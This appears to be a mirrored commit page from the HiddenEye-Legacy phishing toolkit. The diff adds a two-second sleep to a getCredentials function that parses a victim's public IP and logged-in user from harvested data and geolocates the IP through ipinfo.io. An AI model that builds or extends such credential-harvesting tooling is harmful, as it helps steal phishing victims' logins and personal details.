mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Update Actions.py
This commit is contained in:
parent
1edf462e9b
commit
b8c256dd12
|
@ -546,6 +546,7 @@ def getCredentials():
|
||||||
with open('Server/www/ip.txt') as creds:
|
with open('Server/www/ip.txt') as creds:
|
||||||
lines = creds.read().rstrip()
|
lines = creds.read().rstrip()
|
||||||
if len(lines) != 0:
|
if len(lines) != 0:
|
||||||
|
sleep(2)
|
||||||
ip = re.match('Victim Public IP: (.*?)\n', lines).group(1)
|
ip = re.match('Victim Public IP: (.*?)\n', lines).group(1)
|
||||||
user = re.match('Current logged in user: (a-z0-9)\n', lines)
|
user = re.match('Current logged in user: (a-z0-9)\n', lines)
|
||||||
resp = urlopen('https://ipinfo.io/{0}/json'.format(ip))
|
resp = urlopen('https://ipinfo.io/{0}/json'.format(ip))
|
||||||
|
|
Loading…
Reference in New Issue
Block a user